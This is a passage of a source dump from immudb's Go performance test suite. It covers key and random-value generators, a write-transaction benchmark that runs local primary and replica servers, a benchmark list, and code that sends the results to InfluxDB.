NewHWStatsProber()\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, sp)\n\n\t\tstats, err := sp.GetHWStats()\n\t\trequire.NoError(t, err)\n\t\trequire.LessOrEqual(t, stats.IOBytesRead, uint64(100))\n\t\trequire.LessOrEqual(t, stats.IOBytesWrite, uint64(100))\n\t\trequire.LessOrEqual(t, stats.IOCallsRead, uint64(10))\n\t\trequire.LessOrEqual(t, stats.IOCallsWrite, uint64(10))\n\n\t\tdir := t.TempDir()\n\t\tfl, err := os.Create(filepath.Join(dir, \"test\"))\n\t\trequire.NoError(t, err)\n\n\t\tconst blockSize uint64 = 4096\n\t\tconst blocks uint64 = 1000\n\t\tconst blocksMargin uint64 = 100\n\n\t\tt.Run(\"test write stats\", func(t *testing.T) {\n\t\t\tfor i := uint64(0); i < blocks; i++ {\n\t\t\t\tn, err := fl.Write(make([]byte, blockSize))\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.EqualValues(t, blockSize, n)\n\t\t\t}\n\n\t\t\tstats, err = sp.GetHWStats()\n\t\t\trequire.NoError(t, err)\n\n\t\t\trequire.GreaterOrEqual(t, stats.IOCallsWrite, blocks)\n\t\t\trequire.Less(t, stats.IOCallsWrite, blocks+blocksMargin)\n\n\t\t\t// We can not easily check the lower bound - on tmpfs or when data stays\n\t\t\t// in page cache, write_bytes in /proc/self/io will be 0\n\t\t\trequire.Less(t, stats.IOBytesWrite, (blocks+blocksMargin)*blockSize)\n\t\t})\n\n\t\tt.Run(\"test read stats\", func(t *testing.T) {\n\t\t\tfl.Seek(0, 0)\n\t\t\tfl.Sync()\n\t\t\tfor i := 0; uint64(i) < blocks; i++ {\n\t\t\t\tn, err := fl.Read(make([]byte, blockSize))\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.EqualValues(t, blockSize, n)\n\t\t\t}\n\n\t\t\tstats, err = sp.GetHWStats()\n\t\t\trequire.NoError(t, err)\n\n\t\t\trequire.GreaterOrEqual(t, stats.IOCallsRead, blocks)\n\t\t\trequire.Less(t, stats.IOCallsRead, blocks+blocksMargin)\n\n\t\t\t// We can not easily check the lower bound - most likely the whole test\n\t\t\t// will run entirely on page cache thus there will be 0 bytes read from the device\n\t\t\trequire.Less(t, stats.IOBytesRead, (blocks+blocksMargin)*blockSize)\n\t\t})\n\t})\n\n}\n"
  },
  {
    "path": "test/performance-test-suite/pkg/benchmarks/keytracker.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage benchmarks\n\nimport (\n\t\"fmt\"\n\t\"math/rand\"\n\t\"sync/atomic\"\n)\n\ntype KeyTracker struct {\n\tstart uint64\n\tmax   uint64\n}\n\nfunc NewKeyTracker(start uint64) *KeyTracker {\n\treturn &KeyTracker{\n\t\tstart: start,\n\t}\n}\n\nfunc (kt *KeyTracker) GetWKey() string {\n\tmax := atomic.AddUint64(&kt.max, 1)\n\treturn fmt.Sprintf(\"KEY:%010d\", max+kt.start-1)\n}\n\nfunc (kt *KeyTracker) GetRKey() string {\n\tmax := atomic.LoadUint64(&kt.max)\n\tk := kt.start\n\tif max > 0 {\n\t\tk += rand.Uint64() % max\n\t}\n\treturn fmt.Sprintf(\"KEY:%010d\", k)\n}\n"
  },
  {
    "path": "test/performance-test-suite/pkg/benchmarks/keytracker_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage benchmarks\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestKeyTracker(t *testing.T) {\n\tkt := NewKeyTracker(0)\n\trequire.NotNil(t, kt)\n\n\tk := kt.GetRKey()\n\trequire.Equal(t, \"KEY:0000000000\", k)\n\n\tk = kt.GetWKey()\n\trequire.Equal(t, \"KEY:0000000000\", k)\n\n\tk = kt.GetWKey()\n\trequire.Equal(t, \"KEY:0000000001\", k)\n\n\tk = kt.GetWKey()\n\trequire.Equal(t, \"KEY:0000000002\", k)\n\n\tusedKeys := map[string]int{}\n\tfor i := 0; i < 100; i++ {\n\t\tk := kt.GetRKey()\n\t\trequire.Contains(t,\n\t\t\t[]string{\n\t\t\t\t\"KEY:0000000000\",\n\t\t\t\t\"KEY:0000000001\",\n\t\t\t\t\"KEY:0000000002\",\n\t\t\t},\n\t\t\tk,\n\t\t)\n\t\tusedKeys[k]++\n\t}\n\n\trequire.Len(t, usedKeys, 3)\n\tfor _, u := range usedKeys {\n\t\trequire.Greater(t, u, 20)\n\t}\n}\n"
  },
  {
    "path": "test/performance-test-suite/pkg/benchmarks/rand.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage benchmarks\n\nimport (\n\t\"math/rand\"\n\t\"runtime\"\n)\n\nconst hexDigits = \"0123456789abcdef\"\n\ntype randStringGen struct {\n\tn       int\n\tdone    chan bool\n\trndChan chan []byte\n}\n\nfunc (r *randStringGen) randHexString(n int) bool {\n\tb := make([]byte, n)\n\tfor i, offset := n/4, 0; i > 0; i-- {\n\t\t// A Int63() generates 63 random bits\n\t\tcache := rand.Int63()\n\t\tfor j := 0; j < 4; j++ {\n\t\t\tidx := int(cache & 15)\n\t\t\tb[offset] = hexDigits[idx]\n\t\t\tcache >>= 4\n\t\t\toffset++\n\t\t}\n\t}\n\n\tselect {\n\tcase r.rndChan <- b:\n\t\treturn true\n\tcase <-r.done:\n\t\treturn false\n\t}\n}\n\nfunc NewRandStringGen(size int) *randStringGen {\n\tret := &randStringGen{\n\t\trndChan: make(chan []byte, 65536),\n\t\tdone:    make(chan bool),\n\t}\n\n\tcpu := runtime.NumCPU()\n\tfor j := 0; j < cpu; j++ {\n\t\tgo func() {\n\t\t\tfor ret.randHexString(size) {\n\t\t\t}\n\t\t}()\n\t}\n\n\treturn ret\n}\n\nfunc (r *randStringGen) GetRnd() []byte {\n\treturn <-r.rndChan\n}\n\nfunc (r *randStringGen) Stop() {\n\tclose(r.done)\n}\n"
  },
  {
    "path": "test/performance-test-suite/pkg/benchmarks/rand_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage benchmarks\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestRandStringGen(t *testing.T) {\n\trsd := NewRandStringGen(16)\n\tdefer rsd.Stop()\n\n\tfor i := 0; i < 100; i++ {\n\t\tb := rsd.GetRnd()\n\t\trequire.Len(t, b, 16)\n\t\trequire.Regexp(t, \"^[0-9a-f]+$\", string(b))\n\t}\n}\n"
  },
  {
    "path": "test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage writetxs\n\nimport (\n\t\"context\"\n\t\"crypto/sha256\"\n\t\"fmt\"\n\t\"log\"\n\t\"net\"\n\t\"os\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/test/performance-test-suite/pkg/benchmarks\"\n)\n\nfunc h256(s string) []byte {\n\th := sha256.New()\n\th.Write([]byte(s))\n\treturn h.Sum(nil)\n}\n\ntype Config struct {\n\tName       string\n\tWorkers    int\n\tBatchSize  int\n\tKeySize    int\n\tValueSize  int\n\tAsyncWrite bool\n\tReplica    string\n}\n\ntype benchmark struct {\n\tcfg Config\n\n\ttxSoFar   int64\n\tkvSoFar   int64\n\tstartTime time.Time\n\n\tlastProbeTxSoFar int64\n\tlastProbeKVSoFar int64\n\tlastProbeTime    time.Time\n\n\thwStatsGatherer *benchmarks.HWStatsProber\n\n\tm sync.Mutex\n\n\tprimaryServer *server.ImmuServer\n\treplicaServer *server.ImmuServer\n\tclients       []client.ImmuClient\n\ttempDirs      []string\n}\n\ntype Result struct {\n\tTxTotal int64               `json:\"txTotal\"`\n\tKvTotal int64               `json:\"kvTotal\"`\n\tTxs     float64             `json:\"txs\"`\n\tKvs     float64             `json:\"kvs\"`\n\tTxsInst float64             `json:\"txsInstant,omitempty\"`\n\tKvsInst float64             `json:\"kvsInstant,omitempty\"`\n\tHWStats *benchmarks.HWStats `json:\"hwStats\"`\n}\n\nfunc (r *Result) String() string {\n\ts := fmt.Sprintf(\n\t\t\"TX: %d, KV: %d, TX/s: %.2f, KV/S: %.2f\",\n\t\tr.TxTotal,\n\t\tr.KvTotal,\n\t\tr.Txs,\n\t\tr.Kvs,\n\t)\n\tif r.TxsInst != 0.0 || r.KvsInst != 0.0 {\n\t\ts += fmt.Sprintf(\n\t\t\t\", TX/s instant: %.2f, KV/s instant: %.2f\",\n\t\t\tr.TxsInst,\n\t\t\tr.KvsInst,\n\t\t)\n\t}\n\tif r.HWStats != nil {\n\t\ts += \", \"\n\t\ts += r.HWStats.String()\n\t}\n\treturn s\n}\n\nfunc NewBenchmark(cfg Config) benchmarks.Benchmark {\n\treturn &benchmark{cfg: cfg}\n}\n\nfunc (b *benchmark) Name() string {\n\treturn b.cfg.Name\n}\n\nfunc (b *benchmark) Warmup(tempDirBase string) error {\n\tprimaryPath, err := os.MkdirTemp(tempDirBase, \"tx-test-primary\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tb.tempDirs=append(b.tempDirs,primaryPath)\n\n\tprimaryServerOpts := server.\n\t\tDefaultOptions().\n\t\tWithDir(primaryPath).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false).\n\t\tWithPgsqlServer(false).\n\t\tWithPort(0).\n\t\tWithLogFormat(logger.LogFormatJSON).\n\t\tWithLogfile(\"./immudb.log\")\n\n\tprimaryServerReplicaOptions := server.ReplicationOptions{}\n\n\tif b.cfg.Replica == \"async\" {\n\t\tprimaryServerOpts.WithReplicationOptions(primaryServerReplicaOptions.WithIsReplica(false))\n\t}\n\n\tif b.cfg.Replica == \"sync\" {\n\t\tprimaryServerOpts.WithReplicationOptions(primaryServerReplicaOptions.WithIsReplica(false).WithSyncReplication(true).WithSyncAcks(1))\n\t}\n\n\tb.primaryServer = server.DefaultServer().WithOptions(primaryServerOpts).(*server.ImmuServer)\n\n\terr = b.primaryServer.Initialize()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tgo func() {\n\t\tb.primaryServer.Start()\n\t}()\n\n\ttime.Sleep(1 * time.Second)\n\n\tprimaryPort := b.primaryServer.Listener.Addr().(*net.TCPAddr).Port\n\n\tif b.cfg.Replica == \"async\" || b.cfg.Replica == \"sync\" {\n\t\treplicaPath, err := os.MkdirTemp(tempDirBase, fmt.Sprintf(\"%s-tx-test-replica\", b.cfg.Replica))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tb.tempDirs=append(b.tempDirs,replicaPath)\n\n\t\treplicaServerOptions := server.\n\t\t\tDefaultOptions().\n\t\t\tWithDir(replicaPath).\n\t\t\tWithPort(0).\n\t\t\tWithLogFormat(logger.LogFormatJSON).\n\t\t\tWithLogfile(\"./replica.log\")\n\n\t\treplicaServerOptions.PgsqlServer = false\n\t\treplicaServerOptions.MetricsServer = false\n\t\treplicaServerOptions.WebServer = false\n\n\t\treplicaServerReplicaOptions := server.ReplicationOptions{}\n\n\t\treplicaServerReplicaOptions.PrimaryHost = \"127.0.0.1\"\n\t\treplicaServerReplicaOptions.PrimaryPort = primaryPort\n\t\treplicaServerReplicaOptions.PrimaryUsername = \"immudb\"\n\t\treplicaServerReplicaOptions.PrimaryPassword = \"immudb\"\n\t\treplicaServerReplicaOptions.PrefetchTxBufferSize = 1000\n\t\treplicaServerReplicaOptions.ReplicationCommitConcurrency = 30\n\n\t\tif b.cfg.Replica == \"async\" {\n\t\t\treplicaServerOptions.WithReplicationOptions(replicaServerReplicaOptions.WithIsReplica(true))\n\t\t}\n\n\t\tif b.cfg.Replica == \"sync\" {\n\t\t\treplicaServerReplicaOptions = *replicaServerReplicaOptions.WithIsReplica(true).WithSyncReplication(true)\n\n\t\t\treplicaServerOptions.WithReplicationOptions(&replicaServerReplicaOptions)\n\t\t}\n\n\t\tb.replicaServer = server.DefaultServer().WithOptions(replicaServerOptions).(*server.ImmuServer)\n\n\t\terr = b.replicaServer.Initialize()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tgo func() {\n\t\t\tb.replicaServer.Start()\n\t\t}()\n\n\t\ttime.Sleep(1 * time.Second)\n\t}\n\n\tb.clients = []client.ImmuClient{}\n\tfor i := 0; i < b.cfg.Workers; i++ {\n\t\tpath, err := os.MkdirTemp(tempDirBase, \"immudb_client\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tc := client.NewClient().WithOptions(client.DefaultOptions().WithPort(primaryPort).WithDir(path))\n\n\t\terr = c.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"defaultdb\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tb.clients = append(b.clients, c)\n\t\tb.tempDirs = append(b.tempDirs, path)\n\t}\n\n\treturn nil\n}\n\nfunc (b *benchmark) Cleanup() error {\n\n\tfor _, c := range b.clients {\n\t\terr := c.CloseSession(context.Background())\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tb.primaryServer.Stop()\n\tb.primaryServer = nil\n\n\tif b.replicaServer != nil {\n\t\tb.replicaServer.Stop()\n\t\tb.replicaServer = nil\n\t}\n\tfor _,tDir := range(b.tempDirs) {\n\t\tos.RemoveAll(tDir)\n\t}\n\treturn nil\n}\n\nfunc (b *benchmark) Run(duration time.Duration, seed uint64) (interface{}, error) {\n\twg := sync.WaitGroup{}\n\n\tkt := benchmarks.NewKeyTracker(seed)\n\trand := benchmarks.NewRandStringGen(b.cfg.ValueSize)\n\tdefer rand.Stop()\n\n\tvar done chan bool\n\tvar errChan chan error\n\n\tb.startTime = time.Now()\n\tb.lastProbeTime = b.startTime\n\n\thwStatsGatherer, err := benchmarks.NewHWStatsProber()\n\tif err != nil {\n\t\tlog.Printf(\"HW stats disabled, couldn't initialize gathering object: %v\", err)\n\t} else {\n\t\tb.hwStatsGatherer = hwStatsGatherer\n\t}\n\n\tfor i := range b.clients {\n\t\twg.Add(1)\n\t\tgo func(i int) {\n\t\t\tdefer wg.Done()\n\n\t\t\tclient := b.clients[i]\n\n\t\t\tfor {\n\n\t\t\t\tselect {\n\t\t\t\tcase <-done:\n\t\t\t\t\treturn\n\t\t\t\tdefault:\n\t\t\t\t}\n\n\t\t\t\tsetRequest := schema.SetRequest{\n\t\t\t\t\tKVs:    make([]*schema.KeyValue, b.cfg.BatchSize),\n\t\t\t\t\tNoWait: b.cfg.AsyncWrite,\n\t\t\t\t}\n\n\t\t\t\tfor i := 0; i < b.cfg.BatchSize; i++ {\n\t\t\t\t\tkey := h256(kt.GetWKey())\n\t\t\t\t\tif len(key) > b.cfg.KeySize {\n\t\t\t\t\t\tkey = key[:b.cfg.KeySize]\n\t\t\t\t\t}\n\n\t\t\t\t\tsetRequest.KVs[i] = &schema.KeyValue{\n\t\t\t\t\t\tKey:   key,\n\t\t\t\t\t\tValue: rand.GetRnd(),\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t_, err := client.SetAll(context.Background(), &setRequest)\n\n\t\t\t\tif err != nil {\n\t\t\t\t\tselect {\n\t\t\t\t\tcase errChan <- err:\n\t\t\t\t\t\treturn\n\t\t\t\t\tdefault:\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tatomic.AddInt64(&b.txSoFar, 1)\n\t\t\t\tatomic.AddInt64(&b.kvSoFar, int64(len(setRequest.KVs)))\n\t\t\t}\n\n\t\t}(i)\n\t}\n\n\tselect {\n\tcase err := <-errChan:\n\t\t// Finish with error\n\t\tclose(done)\n\t\twg.Wait()\n\t\treturn nil, err\n\n\tcase <-time.After(duration):\n\t\t// Finish after given duration\n\t}\n\n\treturn b.genResults(false), nil\n}\n\nfunc (b *benchmark) Probe() interface{} {\n\treturn b.genResults(true)\n}\n\nfunc (b *benchmark) genResults(asProbe bool) interface{} {\n\n\ttxSoFar := atomic.LoadInt64(&b.txSoFar)\n\tkvSoFar := atomic.LoadInt64(&b.kvSoFar)\n\n\tnow := time.Now()\n\n\td := now.Sub(b.startTime)\n\n\tres := &Result{\n\t\tTxTotal: txSoFar,\n\t\tKvTotal: kvSoFar,\n\t\tTxs:     float64(txSoFar) * float64(time.Second) / float64(d),\n\t\tKvs:     float64(kvSoFar) * float64(time.Second) / float64(d),\n\t}\n\n\tif asProbe {\n\n\t\tb.m.Lock()\n\t\tdefer b.m.Unlock()\n\n\t\tdSinceLastProbe := now.Sub(b.lastProbeTime)\n\n\t\tres.TxsInst = float64(txSoFar-b.lastProbeTxSoFar) * float64(time.Second) / float64(dSinceLastProbe)\n\t\tres.KvsInst = float64(kvSoFar-b.lastProbeKVSoFar) * float64(time.Second) / float64(dSinceLastProbe)\n\n\t\tb.lastProbeTxSoFar = txSoFar\n\t\tb.lastProbeKVSoFar = kvSoFar\n\t\tb.lastProbeTime = now\n\n\t}\n\n\tif b.hwStatsGatherer != nil {\n\t\thwStats, err := b.hwStatsGatherer.GetHWStats()\n\t\tif err != nil {\n\t\t\tlog.Printf(\"ERROR: Couldn't gather HW stats: %v\", err)\n\t\t} else {\n\t\t\tres.HWStats = hwStats\n\t\t}\n\t}\n\n\treturn res\n}\n"
  },
  {
    "path": "test/performance-test-suite/pkg/runner/benchmarks.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage runner\n\nimport (\n\t\"github.com/codenotary/immudb/test/performance-test-suite/pkg/benchmarks\"\n\t\"github.com/codenotary/immudb/test/performance-test-suite/pkg/benchmarks/writetxs\"\n)\n\nfunc getBenchmarksToRun() []benchmarks.Benchmark {\n\treturn []benchmarks.Benchmark{\n\t\twritetxs.NewBenchmark(writetxs.Config{\n\t\t\tName:       \"Write TX/s async - no replicas\",\n\t\t\tWorkers:    30,\n\t\t\tBatchSize:  1,\n\t\t\tKeySize:    32,\n\t\t\tValueSize:  128,\n\t\t\tAsyncWrite: true,\n\t\t\tReplica:    \"\",\n\t\t}),\n\n\t\twritetxs.NewBenchmark(writetxs.Config{\n\t\t\tName:       \"Write KV/s async - no replicas\",\n\t\t\tWorkers:    30,\n\t\t\tBatchSize:  1000,\n\t\t\tKeySize:    32,\n\t\t\tValueSize:  128,\n\t\t\tAsyncWrite: true,\n\t\t\tReplica:    \"\",\n\t\t}),\n\n\t\twritetxs.NewBenchmark(writetxs.Config{\n\t\t\tName:       \"Write TX/s async - one async replica\",\n\t\t\tWorkers:    30,\n\t\t\tBatchSize:  1,\n\t\t\tKeySize:    32,\n\t\t\tValueSize:  128,\n\t\t\tAsyncWrite: true,\n\t\t\tReplica:    \"async\",\n\t\t}),\n\t\twritetxs.NewBenchmark(writetxs.Config{ // this one!\n\t\t\tName:       \"Write KV/s async - one async replica\",\n\t\t\tWorkers:    30,\n\t\t\tBatchSize:  1000,\n\t\t\tKeySize:    32,\n\t\t\tValueSize:  128,\n\t\t\tAsyncWrite: true,\n\t\t\tReplica:    \"async\",\n\t\t}),\n\t\twritetxs.NewBenchmark(writetxs.Config{\n\t\t\tName:       \"Write TX/s async - one sync replica\",\n\t\t\tWorkers:    30,\n\t\t\tBatchSize:  1,\n\t\t\tKeySize:    32,\n\t\t\tValueSize:  128,\n\t\t\tAsyncWrite: true,\n\t\t\tReplica:    \"sync\",\n\t\t}),\n\n\t\twritetxs.NewBenchmark(writetxs.Config{\n\t\t\tName:       \"Write KV/s async - one sync replica\",\n\t\t\tWorkers:    30,\n\t\t\tBatchSize:  1000,\n\t\t\tKeySize:    32,\n\t\t\tValueSize:  128,\n\t\t\tAsyncWrite: true,\n\t\t\tReplica:    \"sync\",\n\t\t}),\n\n\t\twritetxs.NewBenchmark(writetxs.Config{\n\t\t\tName:       \"Write TX/s sync - no replicas\",\n\t\t\tWorkers:    30,\n\t\t\tBatchSize:  1,\n\t\t\tKeySize:    32,\n\t\t\tValueSize:  128,\n\t\t\tAsyncWrite: false,\n\t\t\tReplica:    \"\",\n\t\t}),\n\n\t\twritetxs.NewBenchmark(writetxs.Config{\n\t\t\tName:       \"Write KV/s sync - no replicas\",\n\t\t\tWorkers:    30,\n\t\t\tBatchSize:  1000,\n\t\t\tKeySize:    32,\n\t\t\tValueSize:  128,\n\t\t\tAsyncWrite: false,\n\t\t\tReplica:    \"\",\n\t\t}),\n\n\t\twritetxs.NewBenchmark(writetxs.Config{\n\t\t\tName:       \"Write TX/s sync - one async replica\",\n\t\t\tWorkers:    30,\n\t\t\tBatchSize:  1,\n\t\t\tKeySize:    32,\n\t\t\tValueSize:  128,\n\t\t\tAsyncWrite: false,\n\t\t\tReplica:    \"async\",\n\t\t}),\n\n\t\twritetxs.NewBenchmark(writetxs.Config{\n\t\t\tName:       \"Write KV/s sync - one async replica\",\n\t\t\tWorkers:    30,\n\t\t\tBatchSize:  1000,\n\t\t\tKeySize:    32,\n\t\t\tValueSize:  128,\n\t\t\tAsyncWrite: false,\n\t\t\tReplica:    \"async\",\n\t\t}),\n\n\t\twritetxs.NewBenchmark(writetxs.Config{\n\t\t\tName:       \"Write TX/s sync - one sync replica\",\n\t\t\tWorkers:    30,\n\t\t\tBatchSize:  1,\n\t\t\tKeySize:    32,\n\t\t\tValueSize:  128,\n\t\t\tAsyncWrite: false,\n\t\t\tReplica:    \"sync\",\n\t\t}),\n\n\t\twritetxs.NewBenchmark(writetxs.Config{\n\t\t\tName:       \"Write KV/s sync - one sync replica\",\n\t\t\tWorkers:    30,\n\t\t\tBatchSize:  1000,\n\t\t\tKeySize:    32,\n\t\t\tValueSize:  128,\n\t\t\tAsyncWrite: false,\n\t\t\tReplica:    \"sync\",\n\t\t}),\n\t}\n}\n"
  },
  {
    "path": "test/performance-test-suite/pkg/runner/influxdb_client.go",
    "content": "package runner\n\nimport (\n\t\"context\"\n\n\tinfluxdb2 \"github.com/influxdata/influxdb-client-go/v2\"\n)\n\nfunc SendResultsToInfluxDb(host string, token string, bucket string, runner string, version string, r *BenchmarkSuiteResult) {\n\tvar client influxdb2.Client\n\n\tclient = influxdb2.NewClient(host, token)\n\n\twriter := client.WriteAPIBlocking(\"Codenotary\", bucket)\n\n\tfor _, b := range r.Benchmarks {\n\n\t\tp := influxdb2.NewPointWithMeasurement(\"performance\").\n\t\t\tAddTag(\"name\", b.Name).\n\t\t\tAddTag(\"runner\", runner).\n\t\t\tAddTag(\"version\", version).\n\t\t\tAddField(\"duration\", b.Duration.Seconds()).\n\t\t\tAddField(\"txTotal\", b.Results.TxTotal).\n\t\t\tAddField(\"kvTotal\", b.Results.KvTotal).\n\t\t\tAddField(\"txs\", b.Results.Txs).\n\t\t\tAddField(\"kvs\", b.Results.Kvs).\n\t\t\tAddField(\"cpuTime\", b.Results.HWStats.CPUTime).\n\t\t\tAddField(\"vmm\", b.Results.HWStats.VMM).\n\t\t\tAddField(\"rss\", b.Results.HWStats.RSS).\n\t\t\tAddField(\"IOBytesWrite\", b.Results.HWStats.IOBytesWrite).\n\t\t\tAddField(\"IOBytesRead\", b.Results.HWStats.IOBytesRead).\n\t\t\tAddField(\"IOCallsRead\", b.Results.HWStats.IOCallsRead).\n\t\t\tAddField(\"IOCallsWrite\", b.Results.HWStats.IOCallsWrite).\n\t\t\tSetTime(b.EndTime)\n\n\t\twriter.WritePoint(context.Background(), p)\n\n\t}\n\n\tclient.Close()\n\n}\n"
  },
  {
    "path": "test/performance-test-suite/pkg/runner/processinfo.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage runner\n\nimport (\n\t\"os\"\n\n\t\"github.com/codenotary/immudb/cmd/version\"\n)\n\nfunc gatherProcessInfo() ProcessInfo {\n\treturn ProcessInfo{\n\t\tCommandLine: os.Args,\n\t\tVersion:     version.Version,\n\t\tGitCommit:   version.Commit,\n\t\tBuiltBy:     version.BuiltBy,\n\t\tBuiltAt:     version.BuiltAt,\n\t}\n}\n"
  },
  {
    "path": "test/performance-test-suite/pkg/runner/results.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage runner\n\nimport (\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/test/performance-test-suite/pkg/benchmarks/writetxs\"\n)\n\ntype Duration time.Duration\n\nfunc (d Duration) MarshalJSON() ([]byte, error) {\n\treturn []byte(\"\\\"\" + time.Duration(d).String() + \"\\\"\"), nil\n}\n\nfunc (d Duration) Seconds() float64 {\n\treturn time.Duration(d).Seconds()\n}\n\ntype BenchmarkTimelineEntry struct {\n\tTime     time.Time   `json:\"time\"`\n\tDuration Duration    `json:\"duration\"`\n\tProbe    interface{} `json:\"probe\"`\n}\n\ntype BenchmarkRunResult struct {\n\tName              string                   `json:\"name\"`\n\tSummary           string                   `json:\"summary\"`\n\tStartTime         time.Time                `json:\"startTime\"`\n\tEndTime           time.Time                `json:\"endTime\"`\n\tDuration          Duration                 `json:\"duration\"`\n\tRequestedDuration Duration                 `json:\"requestedDuration\"`\n\tResults           *writetxs.Result         `json:\"results\"`\n\tTimeline          []BenchmarkTimelineEntry `json:\"timeline\"`\n}\n\ntype ProcessInfo struct {\n\tCommandLine []string `json:\"commandLine\"`\n\tVersion     string   `json:\"version\"`\n\tGitCommit   string   `json:\"gitCommit\"`\n\tBuiltBy     string   `json:\"builtBy\"`\n\tBuiltAt     string   `json:\"builtAt\"`\n}\n\ntype SystemInfo struct {\n\tHostname string `json:\"hostname\"`\n}\n\ntype BenchmarkSuiteResult struct {\n\tStartTime time.Time `json:\"startTime\"`\n\tEndTime   time.Time `json:\"endTime\"`\n\tDuration  Duration  `json:\"duration\"`\n\n\tProcessInfo ProcessInfo `json:\"processInfo\"`\n\tSystemInfo  SystemInfo  `json:\"systemInfo\"`\n\n\tBenchmarks []BenchmarkRunResult `json:\"benchmarks\"`\n}\n"
  },
  {
    "path": "test/performance-test-suite/pkg/runner/runner.go",
